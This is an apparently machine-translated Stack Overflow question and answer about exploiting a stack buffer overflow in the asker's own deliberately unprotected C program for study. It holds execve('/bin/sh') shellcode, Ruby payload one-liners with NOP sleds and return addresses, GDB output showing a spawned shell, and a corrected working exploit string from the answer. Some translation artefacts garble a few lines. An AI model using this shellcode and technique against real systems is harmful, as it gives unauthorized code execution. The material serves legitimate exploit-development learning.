shellcode 中的系统调用不会 运行

Syscall inside shellcode won't run

注意:我已经在 Whosebug 中用葡萄牙语问过这个问题:https://pt.whosebug.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa。但这道题好像真的很难,所以这题只是葡萄牙语的翻译。

我正在研究信息安全并进行一些实验,试图利用 缓冲区溢出的典型案例。

我已经成功创建了 shell代码,将其注入易受攻击的程序并执行。我的问题是系统调用 execve() 以获得 shell 不起作用。

更多详情:

这是易受攻击程序的代码(在 Ubuntu 15.04 x88-64 中编译,具有以下 gcc 标志:“-fno-stack-protector -z execstack -g”和 ASLR已关闭):

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

这是一个生成 shell 然后退出的小型汇编程序。 请注意,此代码将独立运行。这是:如果我单独使用 assemble、link 和 运行 这段代码,它将起作用。

global _start

section .text
_start:
    jmp short push_shell
starter:
    pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

这是上述程序的 objdump -d -M intel 的输出,其中 shellcode 是从中提取的(注意:语言输出是葡萄牙语):

spawn_shell.o: formato do arquivo elf64-x86-64

Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

此命令将是有效负载,它会注入 shell 代码以及所需的 nop sleed 和 return 地址,该地址将覆盖原始 return 地址:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

到目前为止,我已经非常仔细地调试了带有 shell 代码注入的程序,注意 RIP 寄存器以查看执行出错的地方。我发现:

结果是执行到非条件跳转,再次压入shell的地址,并开始无限循环,直到程序在SEGFAULT中崩溃。

这是主要问题:系统调用不起作用。

一些注意事项:

我的 shell 代码有什么问题?

编辑 1:

感谢Jester的解答,第一个问题解决了。此外,我发现 shell 代码没有单独工作的要求。 shell代码的新汇编代码是:

spawn_shell: formato do arquivo elf64-x86-64


Desmontagem da seção .text:

0000000000400080 <_start>:
  400080:   eb 1e                   jmp    4000a0 <push_shell>

0000000000400082 <starter>:
  400082:   5f                      pop    %rdi
  400083:   48 31 c0                xor    %rax,%rax
  400086:   88 47 07                mov    %al,0x7(%rdi)
  400089:   b0 3b                   mov    [=16=]x3b,%al
  40008b:   48 31 f6                xor    %rsi,%rsi
  40008e:   48 31 d2                xor    %rdx,%rdx
  400091:   48 31 c9                xor    %rcx,%rcx
  400094:   0f 05                   syscall 
  400096:   48 31 c0                xor    %rax,%rax
  400099:   48 31 ff                xor    %rdi,%rdi
  40009c:   b0 3c                   mov    [=16=]x3c,%al
  40009e:   0f 05                   syscall 

00000000004000a0 <push_shell>:
  4000a0:   e8 dd ff ff ff          callq  400082 <starter>
  4000a5:   2f                      (bad)  
  4000a6:   62                      (bad)  
  4000a7:   69                      .byte 0x69
  4000a8:   6e                      outsb  %ds:(%rsi),(%dx)
  4000a9:   2f                      (bad)  
  4000aa:   73 68                   jae    400114 <push_shell+0x74>

如果我 assemble 和 link 它,它不会工作,但如果将它作为有效负载注入另一个程序,它会!为什么?因为如果我单独 运行 这个程序,它会尝试终止一个已经以 NULL 结尾的字符串“/bin/sh”。 OS 似乎对汇编程序也进行了初始设置。但是,如果我注入 shell 代码,则情况并非如此:我的系统调用没有成功的真正原因是“/bin/sh”字符串在 [=116= 中不是 NULL 终止的]time,但它作为一个独立的程序工作,因为在这种情况下,它被 NULL 终止。

因此,您 shell 将 运行 编码为独立程序并不能证明它有效。

利用成功了……至少在 GDB 中是这样。现在我遇到了一个新问题:漏洞利用在 GDB 内部有效,但在外部无效。

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof    bof2.c  bof3_env      bof3_new_shellcode.txt bof3_shellcode.txt  get_shell     shellcode_exit    shellcode_hello.c  shellcode_shell2
bof.c  bof3    bof3_env.c    bof3_non_dbg        func_stack      get_shell.c      shellcode_exit.c  shellcode_shell    shellcode_shell2.c
bof2   bof3.c  bof3_gdb_env  bof3_run_env        func_stack.c    shellcode_bof.c  shellcode_hello   shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb) 

外面:

$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)

我马上搜索了一下,发现了这个问题:Buffer overflow works in gdb but not without it

最初我认为这只是取消设置两个环境变量并发现一个新的 return 地址的问题,但是取消设置两个变量并没有产生最小的差异:

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$ 

现在,这是第二个问题:为什么漏洞利用在 GDB 内部有效,但在外部无效?

问题是mov al,0x3b。您忘记将最高位归零,因此如果它们不为零,您将不会执行 execve 系统调用,而是执行其他操作。简单的调试应该已经向您指出了这一点。解决方案很简单:只需在此之前插入 xor eax, eax 即可。此外,由于您将 return 地址附加到漏洞利用程序,因此该字符串将不再以零结尾。它也很容易修复,通过在运行时存储一个零,例如在清除 eax.

之后使用 mov [rdi + 7], al

完整的漏洞利用程序可能如下所示:

ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

开头部分对应:

    jmp short push_shell
starter:
    pop rdi
    xor eax, eax
    mov [rdi + 7], al
    mov al, 59

请注意,由于代码大小的变化,jmp 和末尾的 call 的偏移量也必须更改,nop 指令的数量也是。

上面的代码(针对我的系统调整了 return 地址)在这里工作正常。